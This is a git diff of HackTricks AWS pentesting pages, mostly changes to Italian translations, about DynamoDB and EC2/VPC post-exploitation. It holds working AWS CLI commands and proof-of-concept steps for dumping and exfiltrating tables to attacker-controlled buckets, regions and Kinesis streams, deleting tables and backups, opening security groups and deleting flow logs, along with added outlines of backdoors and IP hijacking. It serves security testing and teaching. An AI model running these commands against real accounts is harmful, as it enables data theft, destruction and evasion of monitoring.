+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
+}
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
similarity index 64%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
index afaff7c3b..34e70eb0e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
@@ -1,18 +1,18 @@
 # AWS - DynamoDB Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## DynamoDB
 
-Per ulteriori informazioni consulta:
+Per maggiori informazioni consulta:
 
 {{#ref}}
-../aws-services/aws-dynamodb-enum.md
+../../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
 ### `dynamodb:BatchGetItem`
 
-An attacker with this permissions will be able to **ottenere elementi dalle tabelle tramite la chiave primaria** (non puoi semplicemente richiedere tutti i dati della tabella). Ciò significa che devi conoscere le chiavi primarie (puoi conoscerle recuperando i metadati della tabella (`describe-table`).
+Un attacker con questi permessi sarà in grado di **ottenere elementi dalle tabelle tramite la chiave primaria** (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenerle recuperando i metadati della tabella (`describe-table`).
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Impatto potenziale:** privesc indiretto individuando informazioni sensibili nella tabella
+**Impatto potenziale:** privesc indiretta mediante individuazione di informazioni sensibili nella tabella
 
 ### `dynamodb:GetItem`
 
-**Simile alle autorizzazioni precedenti** questa permette a un potenziale attaccante di leggere valori da una sola tabella fornendo la chiave primaria della voce da recuperare:
+**Simile alle autorizzazioni precedenti** questa permette a un potenziale attacker di leggere i valori da una sola tabella, data la chiave primaria della voce da recuperare:
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 }
 }
 ```
-Con questo permesso è anche possibile usare il metodo **`transact-get-items`** come:
+Con questa autorizzazione è anche possibile usare il metodo **`transact-get-items`** come:
 ```json
 aws dynamodb transact-get-items \
 --transact-items file:///tmp/a.json
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
 }
 ]
 ```
-**Impatto potenziale:** Privesc indiretto ottenibile individuando informazioni sensibili nella tabella
+**Impatto potenziale:** Indirect privesc individuando informazioni sensibili nella tabella
 
 ### `dynamodb:Query`
 
-**Simile alle autorizzazioni precedenti** questa permette a un potenziale attaccante di leggere i valori da una sola tabella data la chiave primaria della voce da recuperare. Permette di usare un [sottoinsieme di confronti](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con la chiave primaria (che deve essere presente) è "EQ", quindi non puoi usare un confronto per recuperare l'intero DB in una singola richiesta.
+**Simile alle precedenti autorizzazioni**, questa permette a un potenziale attaccante di leggere i valori di una sola tabella fornendo la chiave primaria della voce da recuperare. Permette di usare un [sottoinsieme di confronti](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con la chiave primaria (che deve essere presente) è "EQ", quindi non puoi usare un confronto per ottenere l'intero database in una richiesta.
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -107,35 +107,35 @@ aws dynamodb query \
 {{#endtab }}
 {{#endtabs }}
 
-**Impatto potenziale:** privesc indiretto ottenendo informazioni sensibili nella tabella
+**Potenziale impatto:** Privesc indiretto localizzando informazioni sensibili nella tabella
 
 ### `dynamodb:Scan`
 
-Puoi usare questo permesso per **effettuare il dump dell'intera tabella facilmente**.
+Puoi usare questo permesso per **dump l'intera tabella facilmente**.
 ```bash
 aws dynamodb scan --table-name <t_name> #Get data inside the table
 ```
-**Impatto potenziale:** Privesc indiretto individuando informazioni sensibili nella tabella
+**Impatto potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
 
 ### `dynamodb:PartiQLSelect`
 
-Puoi usare questo permesso per **eseguire il dump dell'intera tabella facilmente**.
+Puoi usare questo permesso per **effettuare il dump dell'intera tabella facilmente**.
 ```bash
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
 ```
-Questo permesso consente anche di eseguire `batch-execute-statement` come:
+Questa permission consente inoltre di eseguire `batch-execute-statement` come:
 ```bash
 aws dynamodb batch-execute-statement \
 --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
 ```
-ma devi specificare la chiave primaria con un valore, quindi non è molto utile.
+ma è necessario specificare la primary key con un valore, quindi non è così utile.
 
-**Impatto potenziale:** Privesc indiretto individuando informazioni sensibili nella tabella
+**Impatto potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
 
 ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
 
-Questa autorizzazione permetterà a un attacker di **esportare l'intera tabella in un S3 bucket** a sua scelta:
+Questo permesso consentirà a un attaccante di **esportare l'intera tabella in un S3 bucket** a sua scelta:
 ```bash
 aws dynamodb export-table-to-point-in-time \
 --table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,34 +144,33 @@ aws dynamodb export-table-to-point-in-time \
 --export-time <point_in_time> \
 --region <region>
 ```
-Nota che per far funzionare ciò la tabella deve avere point-in-time-recovery abilitato, puoi verificare se la tabella lo ha con:
+Nota che, perché questo funzioni, la tabella deve avere point-in-time-recovery abilitato. Puoi verificare se la tabella lo ha con:
 ```bash
 aws dynamodb describe-continuous-backups \
 --table-name <tablename>
 ```
-Se non è abilitato, dovrai **abilitarlo** e per farlo ti serve il permesso **`dynamodb:ExportTableToPointInTime`**:
+Se non è abilitato, dovrai **abilitarlo** e per questo hai bisogno della **`dynamodb:ExportTableToPointInTime`** permission:
 ```bash
 aws dynamodb update-continuous-backups \
 --table-name <value> \
 --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
 ```
-**Impatto potenziale:** Indirect privesc localizzando informazioni sensibili nella tabella
+**Impatto potenziale:** privesc indiretto ottenuto localizzando informazioni sensibili nella tabella
 
-### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
+### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` 
 
-
-Con queste autorizzazioni, un attaccante sarebbe in grado di **creare una nuova tabella da un backup** (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con le autorizzazioni necessarie, sarebbe in grado di verificare le **informazioni** dai backup che **non potrebbero più trovarsi nella tabella di produzione**.
+Con queste autorizzazioni, un attaccante sarebbe in grado di **creare una nuova tabella da un backup** (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con le autorizzazioni necessarie, sarebbe in grado di controllare **informazioni** dai backup che n**on fossero più nella tabella di produzione**.
 ```bash
 aws dynamodb restore-table-from-backup \
 --backup-arn <source-backup-arn> \
 --target-table-name <new-table-name> \
 --region <region>
 ```
-**Potenziale impatto:** privesc indiretto individuando informazioni sensibili nel backup della tabella
+**Impatto potenziale:** privesc indiretto individuando informazioni sensibili nel backup della tabella
 
 ### `dynamodb:PutItem`
 
-Questa permission permette agli utenti di aggiungere un **nuovo elemento alla tabella o sostituire un elemento esistente** con un nuovo elemento. Se un elemento con la stessa chiave primaria esiste già, l'**intero elemento sarà sostituito** dal nuovo elemento. Se la chiave primaria non esiste, un nuovo elemento con la chiave primaria specificata sarà **creato**.
+Questo permesso permette agli utenti di aggiungere un **nuovo item alla tabella o sostituire un item esistente** con un nuovo item. Se esiste già un item con la stessa chiave primaria, l'**intero item verrà sostituito** con il nuovo item. Se la chiave primaria non esiste, verrà **creato** un nuovo item con la chiave primaria specificata.
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -203,11 +202,11 @@ aws dynamodb put-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilità/bypasses potendo aggiungere/modificare dati in una tabella DynamoDB
+**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilities/bypasses tramite la possibilità di aggiungere/modificare dati in una tabella DynamoDB
 
 ### `dynamodb:UpdateItem`
 
-Questa autorizzazione consente agli utenti di **modificare gli attributi esistenti di un elemento o aggiungere nuovi attributi a un elemento**. Non **sostituisce** l'intero elemento; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione **creerà un nuovo elemento** con la chiave primaria specificata e imposterà gli attributi indicati nell'espressione di aggiornamento.
+Questa autorizzazione consente agli utenti di **modificare gli attributi esistenti di un item o aggiungere nuovi attributi a un item**. Non **sostituisce** l'intero item; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione **creerà un nuovo item** con la chiave primaria specificata e imposterà gli attributi indicati nell'update expression.
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -243,34 +242,34 @@ aws dynamodb update-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Potential Impact:** Sfruttamento di ulteriori vulnerabilità/bypasses permettendo di aggiungere/modificare dati in una tabella DynamoDB
+**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilità/bypasses potendo aggiungere/modificare dati in una tabella DynamoDB
 
 ### `dynamodb:DeleteTable`
 
-Un attaccante con questa autorizzazione può **eliminare una tabella DynamoDB, causando perdita di dati**
+Un attacker con questa permission può **cancellare una tabella DynamoDB, causando perdita di dati**
 ```bash
 aws dynamodb delete-table \
 --table-name TargetTable \
 --region <region>
 ```
-**Impatto potenziale**: perdita di dati e interruzione dei servizi che si basano sulla tabella eliminata.
+**Impatto potenziale**: Perdita di dati e interruzione dei servizi che dipendono dalla tabella eliminata.
 
 ### `dynamodb:DeleteBackup`
 
-Un attaccante con questa autorizzazione può **eliminare un backup di DynamoDB, causando potenzialmente la perdita di dati in caso di uno scenario di disaster recovery**.
+Un attacker con questa autorizzazione può **eliminare un backup di DynamoDB, causando potenzialmente perdita di dati in caso di scenario di ripristino dopo un disastro**.
 ```bash
 aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
 --region <region>
 ```
-**Potential impact**: Perdita di dati e impossibilità di ripristinare da un backup durante uno scenario di disaster recovery.
+**Impatto potenziale**: Perdita di dati e incapacità di ripristinare da un backup durante uno scenario di disaster recovery.
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
 > [!NOTE]
-> TODO: Verificare se questo funziona effettivamente
+> TODO: Testare se questo funziona effettivamente
 
-Un attacker con queste autorizzazioni può **abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a streammare i cambiamenti, e poi accedere allo stream per monitorare i cambiamenti alla tabella in tempo reale**. Questo permette all'attaccante di monitorare e exfiltrate data changes, potenzialmente portando a data leakage.
+Un attacker con queste autorizzazioni può **abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a streamare le modifiche, e poi accedere allo stream per monitorare le modifiche alla tabella in tempo reale**. Questo permette all'attacker di monitor and exfiltrate data changes, potentially leading to data leakage.
 
 1. Abilitare uno stream su una tabella DynamoDB:
 ```bash
@@ -285,7 +284,7 @@ aws dynamodb describe-stream \
 --table-name TargetTable \
 --region <region>
 ```
-3. Ottieni lo shard iterator usando lo stream ARN:
+3. Ottieni il shard iterator usando l'ARN dello stream:
 ```bash
 aws dynamodbstreams get-shard-iterator \
 --stream-arn <stream_arn> \
@@ -293,17 +292,17 @@ aws dynamodbstreams get-shard-iterator \
 --shard-iterator-type LATEST \
 --region <region>
 ```
-4. Usa lo shard iterator per accedere ed esfiltrare dati dallo stream:
+4. Usa il shard iterator per accedere e exfiltrate i dati dallo stream:
 ```bash
 aws dynamodbstreams get-records \
 --shard-iterator <shard_iterator> \
 --region <region>
 ```
-**Potenziale impatto**: Monitoraggio in tempo reale e data leak delle modifiche della tabella DynamoDB.
+**Impatto potenziale**: Monitoraggio in tempo reale e data leakage delle modifiche alla tabella DynamoDB.
 
 ### Leggere item tramite `dynamodb:UpdateItem` e `ReturnValues=ALL_OLD`
 
-Un attaccante con solo `dynamodb:UpdateItem` su una tabella può leggere gli item senza alcuna delle normali autorizzazioni di lettura (`GetItem`/`Query`/`Scan`) eseguendo un aggiornamento innocuo e richiedendo `--return-values ALL_OLD`. DynamoDB restituirà l'immagine completa precedente all'aggiornamento dell'item nel campo `Attributes` della risposta (questo non consuma RCUs).
+Un attaccante con solo `dynamodb:UpdateItem` su una tabella può leggere elementi senza nessuna delle consuete autorizzazioni di lettura (`GetItem`/`Query`/`Scan`) eseguendo un aggiornamento innocuo e richiedendo `--return-values ALL_OLD`. DynamoDB restituirà l'intera immagine pre-aggiornamento dell'elemento nel campo `Attributes` della risposta (questo non consuma RCUs).
 
 - Permessi minimi: `dynamodb:UpdateItem` sulla tabella/chiave target.
 - Prerequisiti: Devi conoscere la chiave primaria dell'item.
@@ -319,14 +318,14 @@ aws dynamodb update-item \
 --return-values ALL_OLD \
 --region <region>
 ```
-La risposta della CLI includerà un blocco `Attributes` contenente l'intero item precedente (tutti gli attributi), fornendo di fatto una primitiva di lettura partendo da un accesso in sola scrittura.
+La risposta della CLI includerà un blocco `Attributes` contenente l'intero item precedente (tutti gli attributi), fornendo di fatto una primitiva di lettura da un accesso esclusivamente in scrittura.
 
-**Impatto potenziale:** Leggere item arbitrari da una tabella avendo solo permessi di scrittura, permettendo l'esfiltrazione di dati sensibili quando le chiavi primarie sono conosciute.
+**Impatto potenziale:** Leggere item arbitrari da una tabella con solo permessi di scrittura, permettendo l'esfiltrazione di dati sensibili quando le chiavi primarie sono note.
 
 
 ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
 
-Esfiltrazione stealth aggiungendo una nuova Region replica a una DynamoDB Global Table (versione 2019.11.21). Se un principal può aggiungere una replica regionale, l'intera tabella viene replicata nella Region scelta dall'attaccante, dalla quale l'attaccante può leggere tutti gli item.
+Esfiltrazione stealth aggiungendo una nuova replica Region a una DynamoDB Global Table (versione 2019.11.21). Se un principal può aggiungere una replica regionale, l'intera tabella viene replicata nella Region scelta dall'attaccante, dalla quale l'attaccante può leggere tutti gli item.
 
 {{#tabs }}
 {{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -355,13 +354,13 @@ aws dynamodb update-table \
 {{#endtab }}
 {{#endtabs }}
 
-Permessi: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` sulla tabella target. Se una CMK viene usata nella replica, potrebbero essere necessari permessi KMS per quella chiave.
+Permessi: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` sulla tabella di destinazione. Se viene utilizzata una CMK nella replica, potrebbero essere necessari permessi KMS per quella chiave.
 
-Impatto potenziale: Replica dell'intera tabella in una Region controllata dall'attaccante, con conseguente esfiltrazione furtiva dei dati.
+Impatto potenziale: Replica dell'intera tabella verso una Region controllata dall'attaccante che consente una stealthy data exfiltration.
 
-### `dynamodb:TransactWriteItems` (lettura tramite condizione fallita + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
+### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
 
-Un attaccante con privilegi di scrittura transazionale può esfiltrare tutti gli attributi di un item esistente eseguendo un `Update` all'interno di `TransactWriteItems` che fa intenzionalmente fallire una `ConditionExpression` impostando contemporaneamente `ReturnValuesOnConditionCheckFailure=ALL_OLD`. In caso di fallimento, DynamoDB include gli attributi precedenti nei motivi di cancellazione della transazione, trasformando di fatto l'accesso in sola scrittura in un accesso in lettura alle chiavi mirate.
+Un attaccante con privilegi di scrittura transazionali può exfiltrate gli attributi completi di un item esistente eseguendo un `Update` all'interno di `TransactWriteItems` che fallisce intenzionalmente una `ConditionExpression` mentre imposta `ReturnValuesOnConditionCheckFailure=ALL_OLD`. In caso di fallimento, DynamoDB include gli attributi precedenti nei motivi di cancellazione della transazione, trasformando efficacemente l'accesso in sola scrittura in accesso in lettura alle chiavi mirate.
 
 {{#tabs }}
 {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -410,19 +409,19 @@ print(e.response['CancellationReasons'][0]['Item'])
 {{#endtab }}
 {{#endtabs }}
 
-Permessi: `dynamodb:TransactWriteItems` sulla tabella target (e sull'item sottostante). Non sono necessari permessi di lettura.
+Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
 
-Impatto potenziale: Leggere elementi arbitrari (per chiave primaria) da una tabella usando solo privilegi di scrittura transazionale tramite i motivi di cancellazione restituiti.
+Potential Impact: Leggere elementi arbitrari (per chiave primaria) da una table usando solo privilegi di write transazionali tramite i returned cancellation reasons.
 
 
 ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
 
-Bypassare le restrizioni di lettura creando un Global Secondary Index (GSI) con `ProjectionType=ALL` su un attributo a bassa entropia, impostare quell'attributo a un valore costante tra gli item, quindi `Query` l'indice per recuperare gli item completi. Questo funziona anche se `Query`/`Scan` sulla tabella base è negato, purché tu possa interrogare l'ARN dell'indice.
+Evitare le restrizioni di lettura creando una Global Secondary Index (GSI) con `ProjectionType=ALL` su un attributo a bassa entropia, impostare quell'attributo a un valore costante su tutti gli item, quindi `Query` l'index per recuperare gli item completi. Questo funziona anche se `Query`/`Scan` sulla base table è negato, purché sia possibile interrogare l'index ARN.
 
 - Permessi minimi:
-- `dynamodb:UpdateTable` sulla tabella target (per creare il GSI con `ProjectionType=ALL`).
-- `dynamodb:UpdateItem` sulle chiavi della tabella target (per impostare l'attributo indicizzato su ogni item).
-- `dynamodb:Query` sull'ARN della risorsa dell'indice (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
+- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`).
+- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item).
+- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
 
 Passaggi (PoC in us-east-1):
 ```bash
@@ -462,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
 --expression-attribute-values '{":v":{"S":"dump"}}' \
 --region us-east-1
 ```
-**Impatto potenziale:** Esfiltrazione completa della tabella interrogando un GSI appena creato che proietta tutti gli attributi, anche quando le API di lettura della tabella base sono negate.
+**Impatto potenziale:** Full table exfiltration interrogando una GSI appena creata che proietta tutti gli attributi, anche quando le API di lettura della tabella base sono negate.
 
 
-### `dynamodb:EnableKinesisStreamingDestination` (Esfiltrazione continua via Kinesis Data Streams)
+### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
 
-Abusare delle destinazioni di streaming Kinesis di DynamoDB per esfiltrare continuamente le modifiche di una tabella in un Kinesis Data Stream controllato dall'attacker. Una volta abilitato, ogni evento INSERT/MODIFY/REMOVE viene inoltrato in quasi tempo reale allo stream senza richiedere permessi di lettura sulla tabella.
+Abusando dei DynamoDB Kinesis streaming destinations per exfiltrate continuamente le modifiche di una tabella in un Kinesis Data Stream controllato dall'attaccante. Una volta abilitato, ogni evento `INSERT`/`MODIFY`/`REMOVE` viene inoltrato quasi in tempo reale allo stream senza richiedere permessi di lettura sulla tabella.
 
-Permessi minimi (attacker):
-- `dynamodb:EnableKinesisStreamingDestination` on the target table
+Permessi minimi (attaccante):
+- `dynamodb:EnableKinesisStreamingDestination` sulla tabella target
 - Opzionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` per monitorare lo stato
-- Permessi di lettura sul Kinesis stream appartenente all'attacker per consumare i record: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
+- Permessi di lettura sul Kinesis stream posseduto dall'attaccante per consumare i record: `kinesis:*`
 
 <details>
 <summary>PoC (us-east-1)</summary>
@@ -531,8 +530,8 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
 ```
 </details>
 
-**Potential Impact:** Esfiltrazione continua, quasi in tempo reale, delle modifiche alla tabella verso uno stream Kinesis controllato dall'attaccante senza operazioni di lettura dirette sulla tabella.
+**Impatto potenziale:** Continuo, quasi in tempo reale exfiltration delle modifiche alla tabella verso uno stream Kinesis controllato dall'attaccante senza operazioni di lettura dirette sulla tabella.
 
 
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index 53537c64e..a9c32761f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -4,7 +4,7 @@
 
 ## EC2 & VPC
 
-Per ulteriori informazioni controlla:
+Per ulteriori informazioni consulta:
 
 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,18 +12,18 @@ Per ulteriori informazioni controlla:
 
 ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
-Il mirroring del traffico VPC **duplica il traffico in entrata e in uscita per le istanze EC2 all'interno di un VPC** senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato verrebbe comunemente inviato a qualcosa come un sistema di rilevamento delle intrusioni di rete (IDS) per analisi e monitoraggio.\
-Un attaccante potrebbe abusare di questo per catturare tutto il traffico e ottenere informazioni sensibili da esso:
+Il VPC traffic mirroring **duplica il traffico in ingresso e in uscita per EC2 instances all'interno di un VPC** senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato viene comunemente inviato a qualcosa come un sistema di rilevamento intrusioni di rete (IDS) per analisi e monitoraggio.\
+Un attaccante potrebbe abusarne per catturare tutto il traffico e ottenere informazioni sensibili:
 
-Per ulteriori informazioni controlla questa pagina:
+Per maggiori informazioni guarda questa pagina:
 
 {{#ref}}
 aws-malicious-vpc-mirror.md
 {{#endref}}
 
-### Copia dell'istanza in esecuzione
+### Copiare un'istanza in esecuzione
 
-Le istanze di solito contengono qualche tipo di informazione sensibile. Ci sono diversi modi per entrare (controlla [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Tuttavia, un altro modo per controllare cosa contiene è **creare un'AMI e avviare una nuova istanza (anche nel tuo stesso account) da essa**:
+Le istanze di solito contengono qualche tipo di informazione sensibile. Ci sono diversi modi per entrarci (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Tuttavia, un altro modo per verificare cosa contengono è **creare un AMI ed avviare una nuova istanza (anche nel proprio account) da essa**:
 ```shell
 # List instances
 aws ec2 describe-images
@@ -49,43 +49,107 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
 ```
 ### EBS Snapshot dump
 
-**Gli snapshot sono backup dei volumi**, che di solito conterranno **informazioni sensibili**, quindi controllarli dovrebbe rivelare queste informazioni.\
-Se trovi un **volume senza uno snapshot** puoi: **Creare uno snapshot** e eseguire le seguenti azioni o semplicemente **montarlo in un'istanza** all'interno dell'account:
+**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\
+If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account:
 
 {{#ref}}
 aws-ebs-snapshot-dump.md
 {{#endref}}
 
+### Covert Disk Exfiltration via AMI Store-to-S3
+
+Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. This allows full offline forensics or data theft while leaving the instance networking untouched.
+
+{{#ref}}
+aws-ami-store-s3-exfiltration.md
+{{#endref}}
+
+### Live Data Theft via EBS Multi-Attach
+
+Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Useful when the victim volume already has Multi-Attach enabled within the same AZ.
+
+{{#ref}}
+aws-ebs-multi-attach-data-theft.md
+{{#endref}}
+
+### EC2 Instance Connect Endpoint Backdoor
+
+Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Grants quick lateral movement paths without opening public ports.
+
+{{#ref}}
+aws-ec2-instance-connect-endpoint-backdoor.md
+{{#endref}}
+
+### EC2 ENI Secondary Private IP Hijack
+
+Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Enables bypassing internal ACLs or SG rules keyed to specific addresses.
+
+{{#ref}}
+aws-eni-secondary-ip-hijack.md
+{{#endref}}
+
+### Elastic IP Hijack for Ingress/Egress Impersonation
+
+Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.
+
+{{#ref}}
+aws-eip-hijack-impersonation.md
+{{#endref}}
+
+### Security Group Backdoor via Managed Prefix Lists
+
+If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
+
+{{#ref}}
+aws-managed-prefix-list-backdoor.md
+{{#endref}}
+
+### VPC Endpoint Egress Bypass
+
+Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration.
+
+{{#ref}}
+aws-vpc-endpoint-egress-bypass.md
+{{#endref}}
+
+### VPC Flow Logs Cross-Account Exfiltration
+
+Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.
+
+{{#ref}}
+aws-vpc-flow-logs-cross-account-exfiltration.md
+{{#endref}}
+
 ### Data Exfiltration
 
 #### DNS Exfiltration
 
-Anche se blocchi un EC2 in modo che nessun traffico possa uscire, può comunque **esfiltrare tramite DNS**.
+Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
 
-- **I VPC Flow Logs non registreranno questo**.
-- Non hai accesso ai log DNS di AWS.
-- Disabilita questo impostando "enableDnsSupport" su false con:
+- **VPC Flow Logs will not record this**.
+- You have no access to AWS DNS logs.
+- Disable this by setting "enableDnsSupport" to false with:
 
 `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
 
 #### Exfiltration via API calls
 
-Un attaccante potrebbe chiamare gli endpoint API di un account controllato da lui. Cloudtrail registrerà queste chiamate e l'attaccante sarà in grado di vedere i dati esfiltrati nei log di Cloudtrail.
+An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs.
 
 ### Open Security Group
 
-Potresti ottenere ulteriore accesso ai servizi di rete aprendo porte come questa:
+You could get further access to network services by opening ports like this:
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
 ### Privesc to ECS
 
-È possibile eseguire un'istanza EC2 e registrarla per essere utilizzata per eseguire istanze ECS e poi rubare i dati delle istanze ECS.
+È possibile avviare un EC2 instance e registrarlo per l'esecuzione di ECS instances, per poi sottrarre i dati di queste ECS instances.
 
-Per [**maggiori informazioni controlla questo**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
+For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
 
-### Remove VPC flow logs
+### Rimuovere VPC flow logs
 ```bash
 aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 ```
@@ -95,63 +159,64 @@ Permessi richiesti:
 
 - `ssm:StartSession`
 
-Oltre all'esecuzione di comandi, SSM consente il tunneling del traffico, che può essere sfruttato per pivotare da istanze EC2 che non hanno accesso alla rete a causa di Security Groups o NACLs. Uno degli scenari in cui questo è utile è il pivoting da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato.
+Oltre all'esecuzione di comandi, SSM consente il tunneling del traffico, che può essere abusato per pivotare da istanze EC2 che non hanno accesso di rete a causa di Security Groups o NACLs.
+Uno degli scenari in cui questo è utile è pivotare da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato.
 
 > Per avviare una sessione è necessario avere installato il SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
 
-1. Installa il SessionManagerPlugin sul tuo computer
-2. Accedi al Bastion EC2 utilizzando il seguente comando:
+1. Installa il SessionManagerPlugin sulla tua macchina
+2. Accedi al Bastion EC2 usando il seguente comando:
 ```shell
